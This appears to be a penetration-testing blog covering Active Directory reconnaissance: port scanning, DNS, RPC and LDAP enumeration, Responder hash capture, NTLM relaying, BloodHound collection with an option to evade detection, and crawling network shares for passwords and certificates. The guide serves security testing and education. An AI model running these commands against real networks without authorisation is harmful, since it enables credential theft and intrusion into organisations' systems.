# Bebzounettes

Welcome to the Bebzounettes blogs. This blog is aimed at providing technical guides on various hacking topics:

## Introduction

Welcome to the Bebzounettes blog, here everyone is a Bebzounette! This blog brings together all the knowledge learned in recent years in cybersecurity.

If something seems wrong to you, do not hesitate to correct us by contacting us, we are open to all comments!

## Questions?

If you have any questions, do not hesitate to contact me via the following link:

* [Question ❓](/contact)

## License

Copyright © Bebzounette 2023.&#x20;

Unless otherwise stated (external information copied into the book belongs to the original authors).


# Recon


# TCP/UDP

Nmap is a popular choice for a port scan and for good reason, Nmap has tons of options and is capable of much more than just a port scan.

{% tabs %}
{% tab title="Unix" %}
The goal will be to scan/test the hosted applications/services:

```python
# Basic scan of the first 1000 TCP ports
nmap -sS -n --open 10.10.10.0/24

# More intense scanning of open ports
nmap -sT -Pn -n --open 10.10.10.0/24 -sV -p 42,53,80,88,135,139,389,443,445,464,593,636,1512,3306,3268,3269,3389,8080,8889
```

{% endtab %}

{% tab title="Windows" %}
The nmap tool also exists for windows [here](https://nmap.org/book/inst-windows.html).

```python
# Basic scan of the first 1000 TCP ports
nmap -sS -n --open 10.10.10.0/24

# More intense scanning of open ports
nmap -sT -Pn -n --open 10.10.10.0/24 -sV -p 42,53,80,88,135,139,389,443,445,464,593,636,1512,3306,3268,3269,3389,8080,8888
```

It is also possible to use PowerShell to scan ports:

```powershell
$ip='localhost'
for($i=0; $i -le 65445; $i++){
    Test-NetConnection $ip -Port $i -InformationLevel 'Detailed'
}
```

{% endtab %}
{% endtabs %}

You can refer to the [Services ](/services/echo-7)part.


# DNS

It is possible to enumerate the domain using the DNS protocol. This will give you the fully identifiable domain name (FQDN) and other information about the roles of the target machine.

{% tabs %}
{% tab title="Dig" %}

```bash
Dig -t SRV _gc._tcp.<FQDN>

Dig -t SRV _ldap._tcp.<FQDN>

Dig -t SRV _kerberos._tcp.<FQDN>

Dig -t SRV _kpasswd._tcp.<FQDN>
```

{% endtab %}

{% tab title="Nmap" %}

```python
nmap --script dns-srv-enum -script-args "dns-srv-enum.domain='<FQDN>'"
```

{% endtab %}
{% endtabs %}

In Active Directory-integrated DNS, reverse lookups are used to resolve IP addresses to host names. This operation relies on DNS PTR records. It allows finding the names of the hosts of a network.

```
nslookup <DOMAIN.COM>

nslookup -type=srv _kerberos._tcp.DOMAIN.COM
nslookup -type=srv _kpasswd._tcp.DOMAIN.COM
nslookup -type=srv _ldap._tcp.DOMAIN.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.DOMAIN.COM
```


# NetBIOS

Identify the NetBIOS names of the endpoints. This will give you the fully identifiable domain name (FQDN) for the IP address.

{% tabs %}
{% tab title="UNIX" %}

```bash
nmblookup -A <IP>
```

{% endtab %}

{% tab title="Windows" %}

```powershell
nbtstat -a <IP>
```

{% endtab %}
{% endtabs %}


# RPC

RPCClient is a utility originally developed to test MS-RPC functionality. It has undergone several stages of development and stability. Many system administrators have now written scripts around this utility to manage Windows clients from their UNIX workstations.

**Connection**

```bash
# Test if an anonymous session can be opened
rpcclient -U "" -N 10.10.10.5

# Log in with a domain account
rpcclient --user <DOMAIN>\<USERNAME>%<PASSWORD> 10.10.10.5
```

**OS version:**

```bash
rpcclient $> srvinfo
10.10.10.5    Wk Sv BDC Tim NT
platform_id     :       500
os version      :       6.3
server type     :       0x801033
```

**Enumeration :**

```bash
rpcclient $> enum

enumalsgroups  enumdomains    enumdrivers    enumkey     enumprivs
enumdata       enumdomgroups  enumforms      enumports   enumtrust
enumdataex     enumdomusers   enumjobs       enumprinter
```

**Get domain:**

```bash
enumdomains
name:[xxxx] idx:[0x0]
name:[Builtin] idx:[0x0]
```

**Domain enumeration:**

```bash
rpcclient $> querydominfo
Domain               :  xxxx
Server               :  HMC_PDC-TEMP
Comment              :
Total Users          :  9043
Total Groups         :  0
Total Aliases        :  616
Sequence No          :  1
Force Logoff         : -1
Domain Server State  :  0x1
Server Role          :  ROLE_DOMAIN_BDC
Unknown 3           :    0x1
```

**Users enumeration :**

```bash
rpcclient $> enumdomusers
user:[administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[TestUser1] rid:[0xc46]
user:[TestUser2] rid:[0xc47]
user:[TestUser3] rid:[0xc48]
```

**Groups enumeration:**

```bash
rpcclient $> enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Protected Users] rid:[0x20d]
group:[IT Support] rid:[0x105b]
```

```bash
rpcclient $> querygroup 0x200
Group Name:     Domain Admins
Description:    Designated administrators of the domain
Group Attribute:7
Num Members:5
```

```bash
rpcclient $> querygroupmem 0x200
rid:[0x2227] attr:[0x7]
rid:[0x3601] attr:[0x7]
rid:[0x36aa] attr:[0x7]
rid:[0x36e0] attr:[0x7]
rid:[0x3c23] attr:[0x7]
rid:[0x5528] attr:[0x7]
rid:[0x1f4]  attr:[0x7]
rid:[0x363b] attr:[0x7]
rid:[0x573e] attr:[0x7]
rid:[0x56bc] attr:[0x7]
rid:[0x5e5e] attr:[0x7]
rid:[0x7fe1] attr:[0x7]
rid:[0x86d9] attr:[0x7]
rid:[0x9367] attr:[0x7]
rid:[0x829c] attr:[0x7]
rid:[0xa26e] attr:[0x7]
```

**User enumeration by RID:**&#x20;

```bash
rpcclient $> queryuser 0x3601
User Name   :   TestUser1
Full Name   :   TestUser1 Proof
Home Drive  :
Dir Drive   :
Profile Path:
Logon Script:
Description :   Password : Passw0rd!12345
Workstations:
Comment     :
Logon Time               :      Tue, 24 Jan 2022 19:28:14 IST
Logoff Time              :      Thu, 01 Jan 2022 05:30:00 IST
Kickoff Time             :      Thu, 14 Sep 30828 08:18:05 IST
Password last set Time   :      Fri, 21 Nov 2022 02:34:34 IST
Password can change Time :      Fri, 21 Nov 2022 02:34:34 IST
Password must change Time:      Thu, 14 Sep 30822 08:18:05 IST
```

**Password Policy:**&#x20;

```bash
rpcclient $> getdompwinfo
min_password_length: 8
password_properties: 0x00000000
```

## References

{% embed url="<https://www.hackingarticles.in/active-directory-enumeration-rpcclient/>" %}

{% embed url="<https://bitvijays.github.io/LFF-IPS-P3-Exploitation.html>" %}


# LDAP

Lightweight Directory Access Protocol (LDAP) holds a pivotal role for authentication and retrieving information, especially within Microsoft's Active Directory.

## **Theory**

1. &#x20;**What is LDAP?** LDAP, or Lightweight Directory Access Protocol, is a widely-used protocol for querying and modifying directory services. It functions as a hierarchical database designed to manage and provide access to various kinds of information, including user accounts, groups, network resources, and more. LDAP operates over TCP/IP, typically on port 389, and can be secured with SSL/TLS as LDAPS (LDAP over SSL) on port 636.
2. &#x20; **LDAP in Active Directory** In an Active Directory (AD) environment, LDAP is a fundamental component. AD is a centralized authentication and directory service created by Microsoft. It stores information about users, computers, groups, and other network resources in a hierarchical structure. LDAP serves as the primary means of accessing and modifying this data within AD.
3. &#x20;**LDAP Objects and Attributes** LDAP organizes information in the form of objects, each with specific attributes. For instance, a user object might have attributes like 'cn' (common name), 'uid' (user ID), 'memberOf' (group memberships), and more. It is important to focus on identifying objects and their attributes to exploit misconfigurations or vulnerabilities.
4. **LDAP Signing** involves digitally signing LDAP packets, ensuring the integrity and authenticity of data exchanged between the client and the server. This prevents attackers from tampering with or injecting malicious data into LDAP communications. When LDAP signing is enforced, Domain Controllers will not allow any authentication requests without a valid signature. LDAP signing ensures that the request received by the server (Domain Controller) was sent by the client the LDAP message is purported to be from. Additionally, signing certifies that the LDAP messages are not modified or tampered with. <mark style="color:red;">**By default, Active Directory does not require LDAP communication to be signed, which can be exploited through relay attack.**</mark>
5. [**Channel Binding**](https://support.microsoft.com/en-us/topic/kb4034879-use-the-ldapenforcechannelbinding-registry-entry-to-make-ldap-authentication-over-ssl-tls-more-secure-e9ecfa27-5e57-8519-6ba3-d2c06b21812e), on the other hand, enhances security by binding the integrity of the TLS session to the LDAP session. Basically, LDAP channel binding is the act of tying the TLS tunnel and the application layer (leveraged by LDAP) together to create a unique identifier (channel binding token) for that specific LDAP session. This channel binding token (CBT) can only be used within that TLS tunnel and therefore prevents a “stolen” LDAP ticket from being leveraged elsewhere. <mark style="color:red;">**By default, Active Directory does not require LDAP Channel Binding to be enabled, which can be exploited through relay attack.**</mark>

## **Practical Exploitation:**

**1. Enumeration and Information Gathering**: The first step is to enumerate information about the target Active Directory environment. Use the `ldapsearch` utility to retrieve valuable information:

{% tabs %}
{% tab title="Ldapsearch" %}

```
ldapsearch -x -h <target_IP> -p 389 -s base naming_contexts
ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(objectClass=*)"
```

{% endtab %}

{% tab title="Ldapdomaindump" %}
&#x20;[ldapdomaindump ](https://github.com/dirkjanm/ldapdomaindump)from dirkjamn that supports NTLM hash authentication:

```
python ldapdomaindump.py -u <username> -p <password> <target_IP>
```

{% endtab %}

{% tab title="ldeep" %}
Dump LDAP info with [ldeep ](https://github.com/franc-pentest/ldeep)that supports NTLM hash and certificate authentication:

```
ldeep ldap -u <username> -p <password> -d <target_domain> -s ldap://<DC_IP> 
```

{% endtab %}

{% tab title="windapsearch" %}
Dump all users&#x20;

with [Windapsearch](https://github.com/ropnop/windapsearch):&#x20;

```
windapsearch -d <target_domain> -U <username> -P <password> -U 
```

{% endtab %}

{% tab title="ntlmrelayx" %}
To dump LDAP information with [ntlmrelayx](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py):&#x20;

```
ntlmrelayx.py -t ldaps://<DC_IP> -
```

{% endtab %}

{% tab title="CrackMapExec" %}
Some information can be gathered with [CrackMapExec ](https://github.com/mpgn/CrackMapExec)LDAP modules:

<pre><code><strong># Keberoasting/ASRepRoasting
</strong>cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> --kerberoasting output.txt
<strong>
</strong><strong># Delegation
</strong><strong>cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> --trusted-for-delegation
</strong><strong>
</strong><strong># Check for LDAP Signing 
</strong>cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> -M ldap-checker
<strong>
</strong><strong># list PKIs/CAs
</strong>cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> -M adcs

# list subnets referenced in AD-SS
cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> -M subnets

# machine account quota
cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> -M maq

# users description
cme ldap &#x3C;DC_IP> -u &#x3C;username> -p &#x3C;password> -M get-desc-users
</code></pre>

{% endtab %}
{% endtabs %}

**2. Identifying Users and Groups:** To identify users and groups, leverage the '(&(objectCategory=person)(objectClass=user))' filter in `ldapsearch`:

{% tabs %}
{% tab title="Unix" %}

```
ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(&(objectCategory=person)(objectClass=user))"
```

{% endtab %}
{% endtabs %}

**3. Exploiting Weak Permissions:** Misconfigured permissions can lead to unauthorized access. Identify sensitive objects with overly permissive ACLs (h*ere is an example that searches every account with an SPN set and the attributes AdminCount equal to 1):*

{% tabs %}
{% tab title="Unix" %}

```
ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(|(adminCount=1)(servicePrincipalName=*))"
```

{% endtab %}
{% endtabs %}

**4. Abusing Privileged Groups** Identify users in privileged groups like Domain Admins and exploit their privileges:

{% tabs %}
{% tab title="Unix" %}

```
ldapsearch -x -h <target_IP> -p 389 -b "<base_DN>" -s sub "(&(memberOf=CN=Domain Admins,CN=Users,<base_DN>)(objectClass=user))"
```

{% endtab %}
{% endtabs %}

## References:

{% embed url="<https://github.com/dirkjanm/ldapdomaindump>" %}

{% embed url="<https://www.thehacker.recipes>" %}

{% embed url="<https://en.hackndo.com/ntlm-relay/#tls-binding>" %}


# HTTP

It is not uncommon to come across vulnerable applications or applications using authentication screens with default passwords.

For a first try, it is possible to use [httpx ](https://github.com/projectdiscovery/httpx)and [nuclei](https://github.com/projectdiscovery/nuclei), two great projects from [projectdiscovery](https://github.com/projectdiscovery), to sort out open HTTP/HTTPS services and perform a first vulnerability scan on them. Httpx and Nuclei will report a lot of information on the type of service/applications used and will do a first vulnerability scan. &#x20;

```bash
cat targets.txt | httpx -silent | nuclei 
```


# Responder

## Theory:

In an Active Directory environment, multicast name resolution protocols are enabled by default.

There are several such as:

* LLMNR (Local-Link Multicast Name Resolution)
* NBT-NS (NetBIOS Name Service)&#x20;
* mDNS (multicast Domain Name System).

**What is LLMNR?** Link-Local Multicast Name Resolution (LLMNR) is a protocol used in Windows operating systems to resolve the names of neighboring computers in scenarios where the DNS resolution fails. It operates by sending multicast queries to the local network segment, allowing devices to resolve each other's names without the need for a DNS server.&#x20;

When a resolution protocol fails, a Windows machine will fall back to those multicast protocols. Windows systems attempt to resolve names in the following order: DNS, LLMNR, and NBT-NS.

It is possible for an attacker to use certain tools like [Responder](https://github.com/lgandx/Responder), which will set up a SMB server waiting for requests. As soon as one of the multicast protocols is used, then an attacker can respond to these multicast or broadcast requests.

The victims are then redirected to the attacker, who asks them to authenticate in order to access what they are asking for. Thanks to tools like [Responder](https://github.com/lgandx/Responder), their authentication is then captured and returned in the form of NetNTLMv1/v2 hashes, which can then be relayed.

## Practical Exploitation:

{% tabs %}
{% tab title="UNIX" %}
**Intercepting LLMNR Requests:** You can perform a Man in The Middle attack with the [Responder ](https://github.com/lgandx/Responder)tool using the LLMNR and NBT-NS protocol if they are misconfigured.

```bash
sudo responder -I eth0
```

**Forging Responses with Responder:** [Responder ](https://github.com/lgandx/Responder)detects incoming LLMNR and NBT-NS queries and responds with crafted malicious responses. These responses can redirect victims to the attacker's machine:

```bash
sudo responder -I eth0 -wrf
```

{% endtab %}

{% tab title="Windows" %}
There is a version of [Responder-Window](https://github.com/lgandx/Responder-Windows) for Windows:

```
Responder.exe -i eth0 
```

{% endtab %}
{% endtabs %}

**Thus, it is possible to:**

1. **Harvesting Credentials:** [Responder ](https://github.com/lgandx/Responder)can intercept plaintext or NetNTLMv2 hash by responding to authentication requests. When a victim attempts to access a network share, [Responder ](https://github.com/lgandx/Responder)captures the credentials or the NetNTLMv2 hash used for authentication.
2. **Relay Attacks and NTLM Hash Capture:** Additionally, [Responder ](https://github.com/lgandx/Responder)can facilitate relay attacks in the complement of tools like [ntlmrelayx ](https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py)to relay captured credentials to other computers (only if SMB Signing is disabled).

## References

{% embed url="<https://www.thehacker.recipes>" %}

{% embed url="<https://github.com/lgandx/Responder-Windows>" %}


# ADRecon

ADRecon is a tool that allows extracting various artifacts from an Active Directory environment. Information can be presented in a specially formatted Microsoft Excel report that includes summary views with metrics to facilitate analysis and provide an overall picture of the current state of the target AD environment.

It is possible to launch this analysis tool from a machine not enrolled in an AD:

{% hint style="info" %}
This tool is only available in Windows environment
{% endhint %}

{% tabs %}
{% tab title="Not enrolled machine" %}

```powershell
.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username> -GenExcel C:\temp\ADRecon-Report-<DOMAIN>
```

{% endtab %}

{% tab title="Enrolled machine" %}

```powershell
.\ADRecon.ps1 -GenExcel C:\temp\ADRecon-Report-<DOMAIN>
```

{% endtab %}
{% endtabs %}

## References:

{% embed url="<https://github.com/sense-of-security/ADRecon>" %}


# BloodHound

### **BloodHound**

[BloodHound ](https://github.com/BloodHoundAD/BloodHound)is an application developed to find relationships within an Active Directory (AD) and to discover attack paths. It does this by using graph theory to find the shortest path an attacker needs to take to elevate their privileges within the domain.&#x20;

[BloodHound ](https://github.com/BloodHoundAD/BloodHound)is developed by  [@\_wald0](https://www.twitter.com/_wald0), [@CptJesus](https://twitter.com/CptJesus), **et** [@harmj0y](https://twitter.com/harmj0y).

BloodHound is based on neo4j, which must therefore be installed and launched before using BlooHound.

{% hint style="warning" %}
Bloodhound has become [BloodHound CE ](https://github.com/SpecterOps/BloodHound)and the GitHub repo has changed
{% endhint %}

{% tabs %}
{% tab title="Windows" %}
**Install neo4j :**&#x20;

1. Download neo4j Community Server Edition zip from [https://neo4j.com/download-center/#community. ](https://neo4j.com/download-center/#community)
2. Unzip the neo4j zip file.&#x20;
3. Open a command prompt, as an administrator.&#x20;
4. Change directory to reach the unzipped neo4j folder.&#x20;
5. Change the directory to the bin directory in the Neo4j folder.

```powershell
neo4j.bat install-service
```

**Launch neo4j :**&#x20;

```powershell
net start neo4j
```

{% endtab %}

{% tab title="Unix" %}
**Install neo4j :**&#x20;

```bash
sudo apt install neo4j
```

**Launch neo4j :**&#x20;

```bash
sudo systemctl start neo4j 
```

{% endtab %}
{% endtabs %}

{% hint style="warning" %}
There are several Ingestor for Bloodhound:

* [SharpHound.exe](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe) (Official)
* [SharpHound.ps1](https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1) (Official)
* [Python-Bloodhound](https://github.com/fox-it/BloodHound.py)

Not all support the same methods, choose your Ingestor wisely.

It is important to note that Sharphound can be run from a computer that is not enrolled in the AD domain, by running it in a domain user context using Runas, Pass-The-Hash (PTH) or Pass-The-Ticket(PTT)
{% endhint %}

{% tabs %}
{% tab title="Windows CMD" %}

```powershell
# From a non enrolled machine 
SharpHound.exe -c all -d <DOMAIN> --ldapusername <USERNAME> --ldappassword "<PASSWORD>"

# or 
runas /netonly /user:DOMAIN\USERNAME cmd.exe
SharpHound.exe -d <DOMAIN>
```

{% endtab %}

{% tab title="Windows Powershell" %}

```powershell
# Import SharpHound.ps1 module
. .\SharpHound.ps1

# Use the Invoke-Bloodhound function  
Invoke-BloodHound -c All -d <DOMAIN> --ldapusername <USERNAME> --ldappassword "<PASSWORD>"
```

BloodHound est très peu discret dans un réseau, vous pouvez donc utiliser cette option pour éviter la détection par l'ATA (Advanced Threat Analytics) par exemple :

```powershell
Invoke-BloodHound -c All -d <DOMAIN> --ldapusername <USERNAME> --ldappassword "<PASSWORD>" --excludedcs
```

{% endtab %}

{% tab title="UNIX" %}
From experience, python-bloodhound is much faster than SharpHound.exe and .ps1. It then becomes useful in a large Active Directory with many users and machines.

```python
python3 bloodhound.py -c all -u <USERNAME>-p <PASSWORD> -d <DOMAIN> --zip 
```

{% endtab %}
{% endtabs %}

## References:

{% embed url="<https://github.com/BloodHoundAD/BloodHound>" %}

{% embed url="<https://github.com/fox-it/BloodHound.py>" %}

{% embed url="<https://www.thehacker.recipes/ad/recon/bloodhound>" %}


# Network Shares

It is possible that unsuspecting users have placed important documents or documents containing passwords in network shares. It is even possible to find .pfx files which are certificates that can potentially be used for authentication or signing. It is therefore useful to browse all the shares to be able to find passwords that can be reused later.

{% tabs %}
{% tab title="UNIX" %}
[**ManSpider** ](https://github.com/blacklanternsecurity/MANSPIDER)**:**&#x20;

ManSpider is a tool created in python that allows you to browse network shares and extract different types of information.

```python
# Search for filenames that may contain passwords
manspider 192.168.0.0/24 -f passw password passwd user admin account network login logon cred -d <DOMAIN> -u <USERNAME> -p <PASSWORD>

# Search for XLSX files containing the word "password".
manspider <IP>/<RANGE> -c password -e xlsx -d <DOMAIN> -u <USERNAME> -p <PASSWORD>

# Search for certificates or interesting extensions
manspider <IP>/<RANGE> -e pfx p12 pkcs12 pem key crt cer csr jks keystore key keys der -d <DOMAIN> -u <USERNAME> -p <PASSWORD>
```

[**Crackmapexec** ](https://github.com/Porchetta-Industries/CrackMapExec)**:**&#x20;

Crackmapexec can also be used under Linux to browse all network shares:

```python
# Browse C$ share and look for files with the name "password"
cme SMB <IP> -u <USERNAME> -p <PASSWORD> --spider C\$ --pattern password

# Browse all shares accessible with the wildcard
cme SMB <IP> -u <USERNAME> -p <PASSWORD> --spider "*" --pattern password

# Export shares as CSV file
> cmedb
> export shares Shares.csv 
```

[**SMBClient :** ](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbclient.py)

smbclient is built into kali and can be used to access shares on the remote computer.

```bash
smbclient -L hostname -U domainname\\username
```

Recursively download a directory using smbclient:

```bash
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
```

[**SMBMap :** ](https://github.com/ShawnDEvans/smbmap)

smbmap is a tool built into kali. It can be used to map shares but also to execute commands remotely by specifying the '-x' option.

```bash
smbmap -H <IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD>
```

{% endtab %}

{% tab title="Windows" %}
[**Snaffler :** ](https://github.com/SnaffCon/Snaffler)

Snaffler is a Windows-based tool for finding information in a massive Active Directory environment.

Snaffler is based on rules that can be modified or written in `./Snaffler/SnaffRules/DefaultRules`

```powershell
snaffler.exe -s -o snaffler.log
```

[**SauronEye :** ](https://github.com/vivami/SauronEye)

SauronEye is a search tool designed to help find files containing specific keywords on several different shares.

```powershell
SauronEye.exe --directories C:\ \\<iP>\C$ --filetypes .txt .bat .docx .conf --contents --keywords password pass*
```

{% endtab %}
{% endtabs %}


# Password Policy

The password policy helps ensure that a user's password is strong and is changed periodically so that it becomes impossible for an attacker to crack the password.

By default, the password policy is configured like this:

| **Policy**                                  | **Default value** |
| ------------------------------------------- | ----------------- |
| Enforce password history                    | 24 passwords      |
| Maximum password age                        | 42 days           |
| Minimum password age                        | 1 day             |
| Minimum password length                     | 7                 |
| Password must meet complexity requirements  | Enabled           |
| Store passwords using reversible encryption | Disabled          |
| Account lockout duration                    | Not set           |
| Account lockout threshold                   | 0                 |
| Reset account lockout counter after         | Not set           |

From an attacker's point of view it is useful to list the password policy in force on the domain and then be able to do either:

* Bruteforce
* Guessing
* Spraying
* Cracking

{% tabs %}
{% tab title="UNIX" %}

```python
cme smb 192.168.1.0/24 -u <USERNAME> -p '<PASSWORD>' --pass-pol
```

{% endtab %}

{% tab title="Windows cmd" %}

```powershell
net accounts
```

{% endtab %}

{% tab title="Windows Powershell" %}

```powershell
get-addomain | get-adobject -propertcies * | select *pwd*er
```

{% endtab %}

{% tab title="Modules AD" %}
This command gets the default password policy for the specified domain.

```powershell
Get-ADDefaultDomainPasswordPolicy -Identity domain.local
```

{% endtab %}

{% tab title="PowerView" %}

```powershell
Get-DomainPolicy
```

{% endtab %}
{% endtabs %}


# Enumeration


# Domain

{% hint style="info" %}
On Windows:
{% endhint %}

{% tabs %}
{% tab title="PowerView" %}
It is possible to use [PowerView](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1) :

```powershell
# Import PowerView
. .\PowerView.ps1 

# Get domain name
Get-NetDomain

# Enumeration of the domain test.local
Get-NetDomain -Domain test.local
```

{% endtab %}

{% tab title="AD Modules" %}
[Active Directory Module](https://github.com/samratashok/ADModule) for Windows PowerShell is a PowerShell module that bundles a group of cmdlets.

```powershell
# Importe DLL without installing RSAT module and without admin right 
Import-Module .\Microsoft.ActiveDirectory.Management.dll

# Import module
Import-Module .\ActiveDirectory\ActiveDirectory.psd1 

# Find the domain
Get-ADDomain

# Enumerate domain test.local
Get-ADDomain -Identity test.local
```

{% endtab %}

{% tab title=".NET Classes" %}
Active Directory Service Interfaces (ADSI) are a set of COM interfaces used to access directory services features from different network vendors.&#x20;

Administrators and developers can use ADSI Services to enumerate and manage resources in a directory service, regardless of the network environment that contains the resource.

```powershell
$ADClass [System.DirectoryServices.ActiveDirectory.Domain] 
$ADClass::GetCurrentDomain()
```

{% endtab %}

{% tab title="Nltest" %}
Nltest is a command-line tool for performing network administration tasks. It is integrated with Windows Server 2008 and Windows Server 2008 R2. It is available if you have installed the AD-DS or AD-LDS server role. It is also available if you have installed the Active Directory Domain Services Tools which are part of the Remote Server Administration Tools (RSAT).

```powershell
# Find domain
nltest /sc_query:<DOMAIN> 

# Enumerate domain controllers
nltest /dclist:<DOMAIN> 
```

{% endtab %}

{% tab title="Enrolled machine" %}
To find the server on which you are authenticated if your machine is enrolled in the domain:

```powershell
echo %logonserver% 
```

{% hint style="warning" %}
**Warning:** the logon server variable is updated each time a machine is started.
{% endhint %}
{% endtab %}
{% endtabs %}


# Powerview

AD Enumeration With PowerView/Pywerview

{% tabs %}
{% tab title="Windows" %}
Though the below gives a good representation of the commands that usually come in most useful for me, this only scratches the surface of what PowerView can do. [PowerView ](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)is available here.

```powershell
# Get all users in the current domain
Get-DomainUser | select -ExpandProperty cn

# Get all computers in the current domain
Get-DomainComputer

# Get all domains in current forest
Get-ForestDomain

# Get domain/forest trusts
Get-DomainTrust
Get-ForestTrust

# Get information for the DA group
Get-DomainGroup "Domain Admins"

# Find members of the DA group
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess

# Get OUs for current domain
Get-DomainOU -FullData

# Get computers in an OU
# %{} is a looping statement
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname

# Get GPOs applied to a specific OU
Get-DomainOU *WS* | select gplink
Get-DomainGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-DomainGPOLocalGroup -ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers

# Get the computers where users are part of a local group through a GPO restricted group
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

# Find principals that can create new GPOs in the domain
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Find principals that can link GPOs to OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier

# Get incoming ACL for a specific object
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights
```

<br>
{% endtab %}

{% tab title="UNIX" %}
[Pywerview](https://github.com/the-useless-one/pywerview): rewrite of PowerView's functionalities in Python, using the [impacket](https://github.com/SecureAuthCorp/impacket) library.

```
$ pywerview.py --help
usage: pywerview.py [-h]
                    {get-adobject,get-adserviceaccount,get-objectacl,get-netuser,get-netgroup,get-netcomputer,get-netdomaincontroller,get-netfileserver,get-dfsshare,get-netou,get-netsite,get-netsubnet,get-netdomaintrust,get-netgpo,get-netpso,get-domainpolicy,get-gpttmpl,get-netgpogroup,find-gpocomputeradmin,find-gpolocation,get-netgroupmember,get-netsession,get-localdisks,get-netdomain,get-netshare,get-netloggedon,get-netlocalgroup,invoke-checklocaladminaccess,get-netprocess,get-userevent,invoke-userhunter,invoke-processhunter,invoke-eventhunter}
                    ...

Rewriting of some PowerView's functionalities in Python

optional arguments:
  -h, --help            show this help message and exit

Subcommands:
  Available subcommands

  {get-adobject,get-adserviceaccount,get-objectacl,get-netuser,get-netgroup,get-netcomputer,get-netdomaincontroller,get-netfileserver,get-dfsshare,get-netou,get-netsite,get-netsubnet,get-netdomaintrust,get-netgpo,get-netpso,get-domainpolicy,get-gpttmpl,get-netgpogroup,find-gpocomputeradmin,find-gpolocation,get-netgroupmember,get-netsession,get-localdisks,get-netdomain,get-netshare,get-netloggedon,get-netlocalgroup,invoke-checklocaladminaccess,get-netprocess,get-userevent,invoke-userhunter,invoke-processhunter,invoke-eventhunter}
    get-adobject        Takes a domain SID, samAccountName or name, and return the associated object
    get-adserviceaccount
                        Returns a list of all the gMSA of the specified domain. To retrieve passwords,
                        you need a privileged account and a TLS connection to the LDAP server (use the
                        --tls switch).
    get-objectacl       Takes a domain SID, samAccountName or name, and return the ACL of the
                        associated object
    get-netuser         Queries information about a domain user
    get-netgroup        Get a list of all current domain groups, or a list of groups a domain user is
                        member of
    get-netcomputer     Queries informations about domain computers
    get-netdomaincontroller
                        Get a list of domain controllers for the given domain
    get-netfileserver   Return a list of file servers, extracted from the domain users' homeDirectory,
                        scriptPath, and profilePath fields
    get-dfsshare        Return a list of all fault tolerant distributed file systems for a given domain
    get-netou           Get a list of all current OUs in the domain
    get-netsite         Get a list of all current sites in the domain
    get-netsubnet       Get a list of all current subnets in the domain
    get-netdomaintrust  Returns a list of all the trusts of the specified domain
    get-netgpo          Get a list of all current GPOs in the domain
    get-netpso          Get a list of all current PSOs in the domain
    get-domainpolicy    Returns the default domain or DC policy for the queried domain or DC
    get-gpttmpl         Helper to parse a GptTmpl.inf policy file path into a custom object
    get-netgpogroup     Parses all GPOs in the domain that set "Restricted Group" or "Groups.xml"
    find-gpocomputeradmin
                        Takes a computer (or OU) and determine who has administrative access to it via
                        GPO
    find-gpolocation    Takes a username or a group name and determine the computers it has
                        administrative access to via GPO
    get-netgroupmember  Return a list of members of a domain group
    get-netsession      Queries a host to return a list of active sessions on the host (you can use
                        local credentials instead of domain credentials)
